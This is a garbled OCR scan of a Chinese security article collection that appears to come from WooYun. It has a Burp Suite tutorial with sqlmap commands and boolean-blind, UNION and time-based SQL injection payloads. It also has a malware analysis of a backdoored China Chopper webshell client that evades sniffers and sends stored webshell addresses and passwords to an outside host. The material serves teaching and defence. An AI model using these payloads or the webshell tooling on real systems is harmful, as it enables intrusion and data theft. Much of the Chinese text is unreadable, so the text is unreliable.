(@ Define start and end (J Exract from regex group

® Start after expression: | value="

valle="(*2)’=\rn  <input
QO Start at offset 1931 Case sensiive
@ End at deimier \in <input
Q Endat fed length: | 32
(] Exclude HTTP headers (@ Update config based on selection below L

valua” h5218a4402e1672834d7d91a60f267h6)
DUT TV me value="root">

<input type="submit" value="#£%" />

6)Rigfic&ca AR Test macro E&RAIEEKIN TR . 1B 1-4-11

2N
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o Macro Editor

EJ Macro Editor

Use the configuration below to define the tems that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each tem. You can also test the macro to confirm it
is working correctly.

Wacro description: | csrf

Macro ftems:
Method URL Status Cookies received Derived parameters Preset parameters [Acceptcs | configuretem |
jocahost GET Izendlgrammar. php 200 @
localhost POST Jzendigrammar.php 200 token i @ Move up
jocalhost POST Izendigrammar.php 200 token, id @
Move down
P S JT %% | | Femoveilem |

Request | Response
Raw | Params | Headers | Hex

Content-Length: 46

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESSID=66cehd jh9lghfelhgqal 7d3eqd

Re-record macro
Re-analyze macro

Test macro

token=a8ba4466508e61158380eda89dd07080&id=root

(2J (&) B B [reeacomcnem omatres

1 Session handling action editor - Rule 3

".FT!

3| This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based on the result of
—' the macro.

Select macro:

carf

[&]

Edit

MNote that the reguest currently being processed by this session handling rule will stil be issued, so the macro should not include this request unless itis
necessary to issue it twice.

[ Update current request with parameters matched from final macro response

() Update all parameters except for:

Edit

{® Update only the following parameters:

token Edit
(] Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

[ Update current request with cookies from session handling cookie jar

{® Update all cookies except for:

Edit
() Update only the following cookies:
Edit
[ After running the macro, invoke a Burp extension action handler: [
K 1411

7)ANREAEEC BRI , BikiE Scope RN AEE |, 21E 1-4-12

143 70 / & 250 T AME R e Ml 1580, YIZIA FARERE .
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E
Detailz | Scope

@ Tools Scope

Select the tools that this rule will be applied to.

Session handling rule editor

[] Target [] Scanner [] Repeater
] Spider ] Intruder K ] Sequencer
] Extender [# Proxy (use with caution)

EJ URL Scope

Use the coenfiguration below to contrel which URLs this rule applies to.

{0 Include all URLs /

® Use suite scope [defined in Target tab]

() Use custom scope

@ Parameter Scope

ou can restrict the rule to reguests containing specific parameters if reguired.

[] Restrict to requests containing these parameters:

Edit

[ Connections T HTTP | S5L | Sessions T Dizplay I Misc }

? Session Handling Rules

G “You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for par
or checking session validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the request.

[ Add J Enabled | Description | Tools

@ Use cookies from Burp's cookie jar Spider and Scanner

Edt @ | Proxy
Remove

A 1-4-12

8)iEEMENE! sqlmap BXAMEUENR , 41E 1-4-13

WERZ post TUH , XERIE post BUEUERTFE request.txt XHE |, REETHSWT :
./sglmap.py -r request.txt —proxy=http://127.0.0.1:8080

WRE get REGHSUT :

/sqlmap.py —u “www.target.com/vuln.php?id=1" —proxy=http://127.0.0.1:8080

%144 51 / & 250 1t ANEHME R 4 Al 21 AR, V120 T AR i
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G C:\WINDOWS\system32\cmd.exe - K

: POST
arameter: id
Type: hoolean-hazed hlind
Title: AND hoolean—based blind - WHERE or HAVING clause
Payload: token=bedcl12@2157abhB6Bdf 8020caedf 1249&id=root’ AND 3974=3974 AND '
11 C[UHQ’

uMyg

Type: UNION query

Title: MySQL UNION query <HULL> - 3 columns

Payload: token=bedcl2B@2157ab6hPBeBdf 802AcaeBf1249&id=root’ UNION ALL SELECT CO
CAT (@x?173776a71 . Bx5565496e526h557a6d 78, Bx 179707771 ) _.NULL . HULL#

Type: AND-OR time—hased hlind
Title: MySQL > 5.8.11 AND time-hased hlind
Payload: token=bedcl2@2157abhPeBdf 802AcaeBf1249&id=root’ AND SLEEF(5)> AND ‘g
ug* =* ghlig
[12:32:201 [INF0O] the hack-end DBMS iz HMySQL
peh server operating system: Windous
weh application technology: PHP 5.3.13. Apache 2.2.22
ack-end DBMS: MySQL 5.8.11
[12:32:28]1 [INFQ] fetched data logged to text files under ‘C:Slsershlenovossglna
~output“localhost’

K 1-4-13

0x02 Session Randomness Analysis Sequencer
EREE— M | e RS PUNRE cookie , BEFKNTAILAE sequencer FEENER

& token 2% , & 1-4-14

ST W GGG LT
o o
-1.\:[*:‘ h#te: Homi muah e som ~ Send to Sequencer

h Send to Comparer

( o
Request | Response ] Send to Decoder

show response in browser

J Raw T Headers T Hex T HTHKL T Render | Reguestin browser [ 2

. m zend to =glma
Content-Type: text/html A

) send to SCLMapper (request)
Connection: close

send to CeWler
Cache-Control: no—cache| sendrequest(s)to Authz
Set-Cookie: 1tkn=372685] SearchDOM XSS Pattern
- t tool
‘Tag: FDIEOGSDAF3FA 14D Snoaeememioos g
. . . Copy URL
Vary: Accept-kncoding

N . Copy az curl command
content-Length: 22336 | copyto fie

Caua item

$ 145 01 / & 250 nT AUAME B e M S SSi, VIZIH TR &
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@ Token Location Within Response

Select the location in the response where the token appears.

() Cookie: | tkn=3726853389 | v]

Frrm fie

{® Custom location: Configure

K 1-4-14

-

RIERTE Start live capture #1747 , 20E 1-4-15

E Burp Sequencer [live capture #1: http://find.qg.com] ==

? Live capture (2719 tokens) l:l

l Pause J l Copy tokens J [ Auto analyze (next: 3000) Reguests: 2719

l Stop J l Save tokens J l Analyze now J Errors: 0

Summary Character-level analysis  Bit-level analysis ~ Analysis Options

K 1-4-15

FoMTRIATERIRS | BITIREBAIFILIEH token EEALUNIE,

(&35t ) [IERIE : left

E57 WU E 2#TiEEARY BurpSuite

fF& . INRX Matt

*8 5K

pgilk : http://zone.wooyun.org/

RENRB ORI TEMENG , EEREA TN GRIES , HZEBMEXRA
it MR AFERRABIAI A LEMS , HFNAHER ERHHET |, AR
T, BBEEFLECHITIEEINGERYE  REHME T T,

Burp Notes XA 4ri832

%146 01 / & 250 1t ANEHME R A A 2 AR, V120 AR .
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TEBE : https://github.com/SpiderLabs/BurpNotesExtension
B : http://skora.net/news/24-itsec-projects/26-the-burp-sessionauth-extension

JSBeautifier i 2EHS MM i AYABFACHEEAY

TERNE : https://github.com/Meatballs1/burp_jsbeautifier

Sqlmap HHAFEIRRE FaI Sqlmap

& : http://www.praetorian.com/tools/gason-0.9.6.jar

MobileMiTM ;EBEFHMFEN LM

TZ : https://github.com/summitt/MobileMiTM

Googlehack

& : https://github.com/infodel/burp.extension-googlehack

Nmap

TZ : https://github.com/infodel/burp.extension-nmap_parser

mHERRX
EEHLEXREGD AR, — 2 jar 188 , BIM—FFHE py kY, FEDBINMETIX
TR EAZEIE, jar #8087 , LL MobileMiTM 345

BT

Linux and OSX
java -Djava.net.preferIPv4Stack=true -Djava.library.path=. -classpath .:suite.jar:MiTMExtender.jar burp.StartBurp
Windows

java -Djava.library.path=. -classpath .;MiTMExtender.jar;suite.jar burp.StartBurp

B_MTTEMNE 1-5-1 ¢

Surp muuus ropsawT wineow o
Target | Proxy | Spider | Scanner | itruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts | autoEdt | Authz | Crawijax | Juni (beta) | Referer | Notes | ¢

J Extensions | APls | Options. ] E ; Load Burp Extension - B
Burp Extensions Please enter the details of the extension, and how you would lie to handle standard output and error.

Extensions let you Sustopiize BUrE's behavior USing your own o oL L

[ _Ada | [Loaded  [Twpe | Name. - prr— ,3 -
a Python Session AL 4
Remove = P autoEdit Extension file (jar) Select file
=] Java Blazer_v0.
Cw J| @ o] WER Ex
l Dowen J €4 Java Mutti Scann
- L =) e | (= I3
Details | Output | Errors [ burpDNS bat [E] MTNKS4 jks
[) burpDNS.sh [¥] README.ma
O Extension loaded = Jpcap.an

[ ibipcap iniis

D[ libjpcap so P
= == °

Name: | Session Authentication Tool

tem | Detail
Extension type Python
Filename Fr\Progral EAFE ). MITMExtender.jar

TEFETAr | sEXS >

5@ }bnEHadyun.org

B 1-5-1
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HHINLNE 1-5-2 AR R

# Java Zonewssieyin. org
1-5-2

py t&ZHY , XANFILLE R —m 7, LL nmap J9f5,FE python,# jython 3ZiF

Python 3745

BERTEMEIE ©  http://www.python.org/download/

FHIR 2.7.5 hRAS |, MRS AER 2.7.3 A , WERIES T | (RMIIEEDIE.

T Jython X#5F

BT

http://search.maven.org/remotecontent?filepath=org/python/jython-installer/2.7-b1/jython-installer-2.7-b1.jar

LEEGF python # jython Z /5 , #IEFf=

BLE—T python ¥RIE , #NE 1-5-3 FIE 1-5-4 :

Python Environment

These settings let you configure the environment for executing extensions that are wril

& &)

Location of Jython standalone JAR file:

F:\Program Files (x86)\Jython\jythen.jar Select file ...

Folder for lcading modules (optional):

Select folder ...
ZOoRe- -org
K 1-5-3

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer TExtender T Options TAierls I autoEdit TAuthz T Crawljax TJUnit(beta] T Referer T t

Extensions | APls | Options E / Load Burp Extension =

Burp Extensions

Please enter the details of the extension, and how you would like to handle standard output and error.

Extensions let you customize Burp's behavior using your own or

1 Extension Details

Add Loaded Type Name . -
l A (| cenconvee: o
Remove €] Java referrer.jar Extension file (.py) [ 5 e
(] Java gason-0.9¢
Up &) Java Burp Notes. u
(=) Java MobileMiTh ‘
l Down J = Python Google Hac
=H (. lﬁ burp_extension_nmap_parser |v} (i [ [ = Bl
Details | Output | Errors 3 COPYING.md /
[ Extension loaded 3 README.md
MName: | autoEdit
ftem Detail
Extension type Java
Filename F)\Progral LAFEN) NmapParser.py
Method registerEx
HTTP listeners 1 TRRDQ: |FELE zone.wooyun.org

%148 01 / & 250 1t ANHHE R A A 2SR, UIZ0H AR & .
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XA LUSIT py S8V T

P E 2 AEB 2 BurpSuite_pro v1.5.20 iR T , AZEMAE— LA L L%

LB TFRBIUHAERT UAELES | KRS T —IherERERRIR
A LREERSZEWA TREDSMEE  NFT |, SEMIERES , Gt

IBIEIRBERANE |, ERIEHRKER—L burp BERESLANKT , BEESE 30 SHHEHE

LA M ERRI—EARSTEGE

$&3£:http://pan.baidu.com/s/1qWjQXoU  ZZfL: gf25

B4, JAVA [ FrF iR fEE

I bk

https://github.com/federicodotta/Java-Deserialization-Scanner/releases
InE&ENT
Java-Deserialization-Scanner 22— BurpSuite A& , FARBEsMCAIAIR java 5!

iR , RXERANE 1-5-5 :

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | iiruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts | Logger++
Site map | Scope

‘Fmar Hiding out of scope and not found tems; hiding CSS, image and general binary content; hiding 4x responses; hiding empty folders ‘ij

o http:ifocalhost8080 Contents | lssues

» | Java Unsafe Deserialization, vulnerable library: Spring (encoded in Base54) [2]
! Java Unsafe Deserilization, vulnerable lbrary: Apache Commons Collections 4
1 Java Unsafe vulnerable fbrary: Apache Commons Collections 3
! Java Unsafe Deseriization, vulnerabie brary: Spring
» 1 Java Unsafe Deserialization, vulnerable lbrary: Apache Commons Collections 3 (encoded in Bases4) [2
» 1 Java Unsafe Deserialization, vulnerable library: Apache Commons Collections 4 (encoded in Bases4) [2
» i Seriaized Java objecis defected (encoded in Basef4) [3]
» i Seriaized Java objects detectsd [3]

Advisory | Request | Response

! Java Unsafe Deserialization, vulnerable library: Apache Commons Collections 3

ssue: Java Unsafe Deserialization, vulnerable library: Apache Commons Collections 3
Severty.  High

Confidence:  Firm

Host hitp:fiocalhost:8080

Path isampleCommonsCollection: isp

Note: This issue was generated by the Burp extension: Java Deserialization Scanner.

Issue detail

The application deserialize unirusted serialized Java objects, without first checking the type of the received object. This issue can be exploited by sending macious objects that, when deserialzed,
execute custom Java code. Seversl objects defined in popular iraries can be used for the explotation. The present issus has been expiited thanks to the disclosed vuherabilty on lbrary Apache
Commons Collections 3.

Remediation detail

The best way to mitigats the present issus is to deserialize only known objects, by using custom objects for th falization, nsted of the Java O defaut one. The custom object must
override the resolveClass method, by inserting checks on the object type before deserializing the received object. Furthermore, update the fbrary used for the explofation to the lastest release.

K 1-5-5

(2352 ) =EHIE : Rexy
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B_F xJIEl]

F1H EFLRRIEZ FEERTIRETF

1E& : 360 RIRZLLW=E

kB : BRARE

Ratik : http://zone.wooyun.org/

0x00 3|F

NEM , REE.

EFETnENZ M, EAENFTSZES, 198 7B =R HENRENRE  E B FE
HATTLIBEIRAMRS B AERREENREREE MRS S ENNRELTR
iEih RNz R,

20155 12 B, 360 RERLIN=ERM T "WE/INEBMRTIZEE SEO Y1IR" | BB
BT TR ERRE SEO &) , BEHtERE TREBETRETHER])  HAeaETE
LEAEIFET IR, & XERINERR/NENSEEERIHERT].

0x01 HEET]

7], BEYIERZFEE  TFRIATRA. FEERTI(China Choppen)7REltt , ER—X
RS MESHAFEMNFER WebShell BEIEfER , TATIEERNIMILER | IR LA TFIREE
FIEEMANLG | Q2 BUGKERKTHF. BERAMEFEE. BRIEFEE—REEA
ERBAETEITFHERF s Blog ' '&% , ESMFE FireEye (21 BT ARG ES.
B 360 ZZERIAREIREERIIEM (http://www.maicaidao.com) ik REE  BEMTE
2014 &89 12 Bip&%h caidao-20141213 ( http://www.maicaidao.com/caidao

-20141213.zip ) IRAZIGIRILK | BUSLETEFABEXRE T MG (5& IP E—EERT
150 T / & 250 T AUPHME B e MBS 238, Y12V ARE i
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GOOGLE.COM ), Xt EATRERE S Freebuf LR T—REH SBRAIRULETRRE-
FREERT] 20141213 Fihikfm” RINEXEE B, EXPERINEMBEEXE , BFFR
ABETEIEG] NEMEN ERPERTIELR— M REEERMESKARSHKRE
2R 1P, ELRSOSABEER , BEARMERMEREE |, 2%, B8R TEERSHR
ME—EERT].
0x02 HFIH
Hst ZRIEEBREABIFERIING] ANEESBFES LA TEENRA "db.tmp”
EIRE W T ZEAIDHT.

I WERIRIABHFAHITONT AXEHERINPERDIEE S LB ESURREY
RUHIERSRY "&£ F Web REMIFERE | RRHER PEIISAES IN— a5
EREIMER, AT ETERBRMARAIR | BENIEF R EE IR S |, B

HE "db.tmp” , B "HEST])" RIBAEEERE 4=/ "db.mdb”,

B | s | 2EF R d=EC |
Ecce Irise 2016-2-5 16:31
[C)Customize At 2016-2-5 16:31

[Z] yeadme. txt 10 KB Jratirdy 2014-12-13 15:12
Il caidac. exe 216 KB AIERF 2014-12-13 15:52
=] db. tmp 36 KB TMP 3rit 2014-12-14 0:39

| %% File Format Identifier v1.4 =

Path: C:\Documents and Settings'\360°\& M caidao—20141213%: || | Dir... !
Sections Editor x
ections Informations[HEX]
Mame Wirtual Offset  Virtual Size Raw Offset Raw Size Characteristics
UPX0o 00001000 0007 C0o00 00000400 00000000 EQO000S0
UPx1 00070000 00034000 00000400 00033800 EQO000040
FSrc 000B1000 00002000 00033C00 00002000 0000040
[TTT=lvana. 00063000 00001000 00035000 00000145 Co000040
| Close
= SLER = e ——
R FSaRs) | &

KERNEL32. DLL 00000000 D11lMain

-~ ADVAPI32. d11
COMCTL32. 411

- GDI3Z. d11
MFC42u. DLL

-~ MSVCRT. 411

- 0le32. d11

- OLEAUT3Z. 411

~SHELL32. 411

-~ USER32. 411

- WININET. d11

L WINMM. 411

T

drops.wooyun.org
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caidao.exe {4 MD5: baad97c73aee0207e608c46d0941d28b

tings\360\E M \cai dao—20141213
B | Hoh | 268 | B EHER ~

icheec Brat 2016-2-5 16:31
[C)Customize Bra L 2016-2-5 16:31
[El readme. txt 10 KB XHEIHY 2014-12-13 15:12
[O] c2idao. exe 216 X8 RIERF 2014-12-13 15:52
B av. tmp 36 KB TMP 3Li4 2014-12-14 0:39
- N
4= File Format Identifier v1.4 = '8 X
Path: C:\Documents and Settings\360\&H\caidao-20141213%a || | Dir... |

~Tdentifier

Entry Point (P;Vk):ﬁUUUSZQU EP Section: - text ' > l | G lfﬂ. |
Entry Point (RAW): D0003290 First Bytes: 51,8E, 44,24 el
Linker Info: B.0 SubSystem: MWin3Z GUI | > |

DS: ADBESSA4FSEB4E113COEOZAAISDDTEAF

nidentified Facker. * ' Rebnal dER ,,'
| ome |
Options | | TaskView | |Plugin>>> | Emaitous

drops.wooyun.org

x4 “db.tmp” BTCEDHT , &I PE ERIEBENERN , A EBETX M EIBHT
DK, TRIESHA/INKEBED B NRA © — 32K K/NIRHEBRAS |, B9 36K K/
BUBOHARA. P hRARISEFRINEERNEAS | (/3 VBO K5 | B XIXESHHT ]

LR B AERARASRIS A IMERI TS BEIA— SiZ 2B S FBRIRAE AR T L.

THE HFEE MEW £ES B EHQ FOW® FHBe
lacs+ = -laac| e x0BSw(de « ¢ 2 ]0@ 3|
Guvene|r S trt (DD CEAND®E DS

[ =SS & |

000020b0 6C 00 65 00 63 00 74 00 20 00 2A 00 20 00 46 00 l.e. 000020b0 6C 00 65 00 63 00 74 00 20 00 2A 00 20 00 46 00 1.
000020c0 52 00 4F 00 4D 00 20 00 SB 00 53 00 49 00 54 00 R.O. 000020c0 52 00 4F 00 4D 00 20 00 SB 00 53 00 49 00 54 00 R.
00002040 45 00 5D 00 00 00 00 00 52 00 65 00 63 00 6F 00 Eo T 00002040 45 00 SD 00 00 00 00 00 52 00 65 00 63 00 6F 00 E.
000020e0 72 00 64 00 43 00 6F 00 75 00 6E 00 74 00 00 00 r.d. 000020e0 72 00 64 00 43 00 6F 00 75 00 6E 00 74 00 00 00 r.
D00020£0 4D 00 6F 00 76 00 65 00 46 00 69 00 72 00 73 00 H.o. 000020£0 4D 00 6F 00 76 00 65 00 46 00 69 00 72 00 73 00 M.
00002100 74 00 00 00 45 00 4F 00 46 00 00 00 OE 00 00 0O T.. 00002100 74 00 00 00 45 00 4F 00 46 00 00 00 OE 00 00 00 t.
00002110 53 00 69 00 74 00 65 00 55 00 72 00 6C 00 00 0O S.i. 00002110 53 00 69 00 74 00 65 00 55 00 72 00 6C 00 00 0O S.
00002120 32 00 00 00 68 00 74 00 74 00 70 00 34 00 2F 00 2.. 00002120 32 00 00 00 63 00 74 00 74 00 70 00 34 00 2F 00 2.
00002130 2F 00 77 00 77 00 77 00 2ZE 00 6D 00 61 00 69 00 Aow. 00002130 2F 00 77 00 77 00 77 00 2ZE 00 OD 00 61 00 69 00 s
00002140 63 00 61 00 69 00 64 00 61 00 6F 00 2E 00 63 00 c.a. 00002140 63 00 61 00 69 00 64 00 61 00 6F 00 2E 00 63 00 c.
00002150 6F 00 6D 00 2F 00 00 00 10 00 0O 00 53 00 69 00 0.m. 00002150 6F 00 6D 00 2F 00 00 00 10 00 00 00 S3 00 69 00 0.
00002160 74 00 65 00 50 00 61 00 73 00 73 00 00 00 00 00 t.e. 00002160 74 00 65 00 50 00 61 00 73 00 73 00 00 00 00 00 t.
00002170 12 00 00 00 6E 00 43 00 6F 00 64 00 65 00 S0 00 00002170 12 00 00 00 6E 00 43 00 6F 00 64 00 65 00 50 00
00002180 61 00 67 00 65 00 00 00 OC 00 00 00 43 00 6F 00 a.d. 00002180 61 00 67 00 65 00 00 00 OC 00 00 00 43 00 6F 00 a.g.
00002190 6E 00 66 00 69 00 67 00 00 00 0O 0O 10 00 00 0O n.f. 00002190 6E 00 66 00 69 00 67 00 00 00 00 00 10 00 00 0O n.

000021a0 74 00 68 00 2D 00 63 00 6E 00 2C 00 74 00 68 00 z.h. 000021a0 74 00 68 00 2D 00 63 00 6E 00 2C 00 74 00 68 00

000021b0 00 00 00 00 18 00 00 00 43 00 6F 00 6E 00 74 00  ..... 000021b0 00 00 00 00 18 00 00 00 43 00 6F 00 6E 00 74 00
000021c0 65 00 6E 00 74 00 2D 00 54 00 79 00 70 00 65 00 e.n.t 000021c0 65 00 6E 00 74 00 2D 00 54 00 79 00 70 00 65 00
000021d0 00 00 00 00 SF SF 76 62 61 4F 62 6A 53 65 74 41 e 000021d0 00 00 00 00 SF SF 76 62 61 4F 62 6A 53 65 74 41

000021e0 64 64 72 65 66 00 00 00 SF SF 76 62 61 56 61 72
0D00021£0 4E 6F 74 00 00 00 00 00 64 00 00 00 68 00 74 00
00002200 74 00 70 00 3A 00 2F 00 2F 00 70 00 6B 00 70 00
00002210 78 00 73 00 2E 00 63 00 6F 00 6D 00 2F 00 69 0O
00002220 6E 00 64 00 65 00 78 00 2E 00 61 00 73 00 70 00
00002230 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00
00002240 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00
00002250 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00
00002260 00 00 00 00 02 00 00 00 7C 00 00 00 10 00 00 00
00002270 53 00 69 00 74 00 65 00 55 00 72 00 6C 00 3D 00
00002280 00 00 00 00 14 00 00 00 26 00 53 00 639 00 74 00
00002290 65 00 S50 00 61 00 73 00 73 00 3D 00 00 00 0O 0O
000022a0 16 00 00 00 26 00 6E 00 43 00 6F 00 64 00 65 00
0'|30022hﬂ 50 00 61 00 67 00 65 00 3D 00 00 00 10 00 D|EI i)
<

waw—r |

|keE | {8 215a/2138 KB 1/1 |29 : 29 THERPeT38 T HILACITES : 32768 T 1 2 HIOPS.Wap i

000021e0 64 64 72 65 66 00 00 00 SF SF 76 62 61 56 61 72
000021£0 4E 6F 74 00 00 00 00 00 64 00 00 00 68 00 74 00
00002200 74 00 70 00 3A 00 2F 00 2F 00 0O 00 0O 00 0O 0O
00002210 00 00 00 00 0O 0O 6D 00 2E 00 63 00 6F 00 0O 0O
00002220 2F 00 61 00 6E 00 79 00 69 00 6E 00 67 00 2F 00
00002230 62 00 6E 00 64 00 65 00 78 00 2E 00 61 00 73 00
00002240 70 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00
00002250 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00
00002260 00 00 00 00 02 00 00 00 7C 00 0O 0O 10 00 00 0O
00002270 53 00 69 00 74 00 65 00 55 00 72 00 6C 00 3D 00
00002280 00 00 00 00 14 00 00 00 26 00 53 00 639 00 74 00
00002290 65 00 S0 00 61 00 73 00 73 00 3D 00 00 00 0O 0O
000022a0 16 00 00 00 26 00 6E 00 43 00 6F 00 64 00 65 00
0?0022}30 50 00 61 00 67 00 65 00 3D 00 00 00 10 00 00 00 |
<

=i}

#1520 / & 250
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@ —¥r$d BRE) 3 - VltraCompare Professional
IHE &EE NEW £ B8R0 ERe #0@ B

|29+ z=-|a@c (@808 +¢2 Q@D
|swyetal3 3t |¢cH 9 PAN@ARIS|
| el b

=8l

00002480 4F 00 70 00 65 00 6E 00 00 00 00 00 28 00 00 00 D.p.E:I 00002480 4F 00 70 00 65 00 6E 00 00 00 00 00 28 00 0O 0O O.p.e.n. _:I
00002490 73 00 65 00 6C 00 65 00 63 00 74 00 20 00 24 00 s.e.l 00002490 73 00 65 00 6C 00 65 00 63 00 74 00 20 00 24 00 s.e.l.e.c
000024a0 20 00 46 00 52 00 4F 00 4D 00 20 00 SB 00 73 00 .F.E 000024a0 20 00 46 00 52 00 4F 00 4D 00 20 00 SB 00 73 0O .F.R.O.E
000024b0 69 00 74 00 65 00 5D 00 00 00 00 00 52 00 65 00 i.t.e 000024b0 69 00 74 00 65 00 5D 00 00 00 00 00 52 00 65 0O i.t.e.]..
000024c0 63 00 6F 00 72 00 64 00 43 00 6F 00 75 00 6E 00 c.o.t 000024c0 63 00 6F 00 72 00 64 00 43 00 6F 00 75 00 6E 00 c.o.r.d.C
00002440 74 00 00 00 4D 00 6F 00 76 00 65 00 46 00 69 00 t...t 00002440 74 00 00 00 4D 00 6F 00 76 00 65 00 46 00 69 00 t...Mo.%
000024e0 72 00 73 00 74 00 00 00 45 00 4F 00 46 00 00 00 r.s.t 000024e0 72 00 73 00 74 00 00 0O 45 00 4F 00 46 00 00 0O r.s.t...E
000024£0 OE 00 00 00 53 00 69 00 74 00 65 00 55 00 72 00 . 000024£0 OE 00 00 00 53 00 69 00 74 00 65 00 55 00 72 00 RS e 9 <
00002500 6C 00 00 00 32 00 00 00 68 00 74 00 74 00 70 00 l...2 00002500 &6C 00 00 00 32 00 00 0O 68 00 74 00 74 00 70 00 Lo e iinces 3
00002510 34 00 2F 00 2F 00 77 00 77 00 77 00 2E 00 6D 00 :./.;‘_'I 00002510 34 00 2F 00 2F 00 77 00 77 00 77 00 2E 00 6D 0O :././.v.ln'—I
00002520 61 00 69 00 63 00 61 00 €9 00 64 00 61 00 6F 00 a.i.c 00002520 61 00 69 00 63 00 61 00 69 00 64 00 61 00 6F 0O a.i.c.a.i
00002530 2E 00 63 00 6F 00 6D 00 2F 00 00 00 10 00 00 00 . N 00002530 2E 00 63 00 6F 00 6D 00 2F 00 00 00 10 00 0O 0O «.C.0.1. 7
00002540 53 00 69 00 74 00 65 00 50 00 61 00 73 00 73 00 S.i.t 00002540 53 00 69 00 74 00 65 00 50 00 61 00 73 00 73 00 S.i.t.e.F

00002550 00 00 00 00 12 00 00 00 6E 00 43 00 6F 00 64 00 ..... 00002550 00 00 00 00 12 00 00 0O 6E 00 43 00 6F 00 64 00  ........ e

00002560 65 00 50 00 61 00 67 00 65 00 00 00 OC 00 0O 00 e.P.e 00002560 65 00 S0 00 61 00 67 00 65 00 00 00 OC 00 0O 0O e.P.a.g.e
00002570 43 00 6F 00 6E 00 66 00 €9 00 67 00 00 0O 0O 00 C.o.x 00002570 43 00 6F 00 6E 00 66 00 69 00 67 00 00 00 0O 0O C.o.n.f.i
00002580 00 00 00 00 64 00 00 00 68 00 74 00 74 00 70 00 eesl 00002580 00 00 00 00 64 00 00 00 68 00 74 00 74 00 70 00 RS DR
00002590 34 00 2F 00 2F 00 77 00 77 00 77 00 2E 00 36 00 ey 00002590 34 00 6C 00 6F 00 63 00 61 00 6C 00 LRV I Y 4
000025a0 64 00 79 00 65 00 77 00 75 00 2E 00 &3 00 6E 00 j.v.€ 000025a0 68 00 74 00 2F 00 69 00 6E 00 64 00 h.o.s.t./
000025b0 2F 00 63 00 61 00 69 00 64 00 61 00 &F 00 2F 00 7-C.8 00002500 65 00 61 00 73 00 70 00 7C 00 7C 00 B.K.0.8.8
000025c0 69 00 6E 00 64 00 65 00 78 00 2E 00 61 00 73 00 i.n.é 000025c0 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 [ I P
000025d0 70 00 7C 00 7C 00 7C 00 7C 00 7C 00 7C p.l.l 00002540 7C 00 7C 00 7C 00 7C 00 7C 00 7C 0O lelalalal
0000250 7C 00 7C 00 7C 00 7C 00 7C 00 7C 00 0O [ 000025e0 7C 00 7C 00 7C 00 7C 00 00 00 0O 0O lololalal
000025£0 08 00 00 00 35 00 39 00 33 00 3D 00 0O £ 000025£0 08 00 39 00 33 00 3D 00 0O 00 00 00 o DR
00002600 34 00 00 00 57 00 69 00 6E 00 48 00 74 00002600 34 00 69 00 6E 00 48 00 74 00 74 00 Wilr
00002610 70 00 2E 00 57 00 69 00 6E 00 48 00 74 00002610 70 00 69 00 6E 00 48 00 74 00 74 00 p...Wi.r
00002620 70 00 52 00 65 00 71 00 75 00 65 00 73 00002620 70 00 71 00 75 00 65 00 73 00 74 00 p.R.e.q.v
00002630 2E 00 35 00 2E 00 31 00 00 00 00 00 08 00002630 2E 00 31 00 00 00 00 0O 08 00 00 00 L VO W
00002640 S0 00 4F 00 53 00 54 00 00 00 00 00 06 00002640 50 00 54 00 00 00 00 00 06 00 00 00 P.0.5.T..
00002650 47 00 45 00 54 00 00 00 OC 00 00 00 41 00002650 47 00 00 00 OC 00 00 00 41 00 63 00 G.E.T....
00002660 63 00 65 00 70 00 74 00 00 00 00 00 06 63 00 74 00 00 00 00 0O 06 00 00 00 C.e.paty
00002670 24 00 2F 00 2A 00 00 0O 53 00 65 00 74 2A 00 00 00 53 00 65 00 74 00 52 0O LV
00002680 65 00 71 00 75 00 65 00 73 00 74 00 48 65 00 65 00 73 00 74 00 48 00 65 00 e.q.

|

| | : ] | . .u.ej;]
| g1 \ | 4
|7k [ [iw#5 : 2508/2508 K 1/1 u@m&m&
3t “db.tmp” Cmotr , RIEE RSN #TIT R, SRW

EFPELA TN HIZAIRHRA TR T ME | EERET FTRERI S

| WSockExpert_cn.exe | WSockExpert.exe | CHKenCap.exe | SmartSniff.exe | hookME.exe | NetworkTrafficView.exe | sm

sniff.exe | tcpmon.exe | HttpAnalyzerStdV6.exe | Csnas.exe | Wireshark.exe |

nov [ebp+var DC], esi

nov [ebp+var EB], esi

nov [ebp+var E4], esi

nov [ebp+var E8], esi

push 1

call  ds:_ubaOnError

mov [ebp+var 28], esi

mov edx, offset alisockexpert _cn ; "|WSockExpert cn.exe|WSockExpert.exe|CHK"...
lea ecx, [ebp+var_34]

call  ds:_ ubaStrCopy

mov [ebp+var_4C], 80626604h

mov [ebp+var_54], BAh

mov [ebptvar_8C], offset aWlinmgmts RootC ; “winmgmts:\\\\.\\root\\cimu2:win32 process"”

nov ebx, 8

mov [ebptvar_94], ebx

1ea edx, [ebpswar_DA] l drops.wooyun.org
1pa prx. Tehn+uar 441 i

$ 153 01 / & 250 1t ANHE R A A 2 AR, U120 AR & .
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]
[ N L]
loc_463318: =
call sub_4038CH ; find sniff app
cmp ax, OFFFFh
jnz short loc_483331
Li |
EAN L
lea eax, [ebp+var_24]
push eax
call sub_483BB0O ; Read db.mdb
lea ecx, [ebp+var_24]
call edi ; _ vbaFreeUar
¢
EAN L
loc_483331:
pUSh 27186h 1!’ pps.wooyun.org

B EFRERN mdb HiEEETAY SiteUrl BOEFHITHIRR , HEBR
"http://www.maicaidao.com/” ( BRIZ THBRFERTIBUALRIRENER ) Sikst
iEEY SitePass, nCodePage. Config (B , REFEFFHAEERNE it

"http://cd.myth321.com/index.aspl||||||||" #iTHHE  KXEIETTH Webshell (289

f&.
push 2
call ds:_ vbaFreeStrlList
add esp, OCh
push 5}
push OFFFFFFFFh |
push 1

